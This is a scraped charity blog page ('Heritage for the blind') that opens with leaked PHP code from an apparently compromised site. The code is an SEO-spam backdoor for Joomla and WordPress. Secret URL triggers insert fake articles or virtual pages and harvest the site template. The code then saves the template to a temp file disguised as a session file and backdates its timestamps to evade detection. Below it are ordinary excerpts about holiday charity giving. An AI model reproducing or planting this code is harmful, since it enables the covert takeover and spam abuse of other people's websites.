11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } Blog | Heritage for the blind

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APCO Worldwide, a global communication consultancy, recently revealed a novel idea to get people to participate in one of their in-depth surveys. The firm recently sent around a notice offering to give $25 to charity on behalf of all those agreeing to be polled by them for a year-end analysis of the public affairs, public […]

Bid On Katy Perry Barbie To Get Food To HIV-Positive Residents

Fans of Barbie and Katy Perry can rejoice during the holiday season. The online charity auction site, Charitybuzz.com, is offering you the opportunity to win a Barbie fashioned after music star Katy Perry and her famous cupcake dress. Just in time for the doll lover on your shopping list. It’s the perfect gift for the […]

More Ways To Help During Holiday Season

With the holiday season in full force, it’s that time of the year to buy your friends and family more stuff they don’t need. Instead of adding to their stash of Christmas presents past, why not give them something they’ll cherish but won’t necessarily clutter up their homes and lives. Contributing to a charity on […]

Put Your Bonus To Good Use At Year’s End

It’s December, prime time for end-of-year appeals from charitable organizations. If you’re looking for opportunities to put your annual bonus to good use, there are plenty to be found that would be more than willing to take your charity. You’ll be glad you gave a year-end gift to help society’s least fortunate. If you are […]

Help Your Loved Ones’ Karma: Give Gift Of Philanthropy

It’s the holiday season, a time of merriment and gift-giving, but as the old adage says, “it’s better to give than to receive.” In light of this time of the year, what better way to celebrate your family and friends than with the gift of philanthropy? Honoring those close to you with a charitable contribution […]

Tour Clinton Presidential Library For Charity

Calling all political junkies. Looking for the perfect holiday present for your family policy wonk? How about a tour for five of Bill Clinton’s Presidential Library in Little Rock, Arkansas? It’s currently up for bid on CharityBuzz.com. In addition to the tour, you will receive a saxophone autographed by the former president as well as […]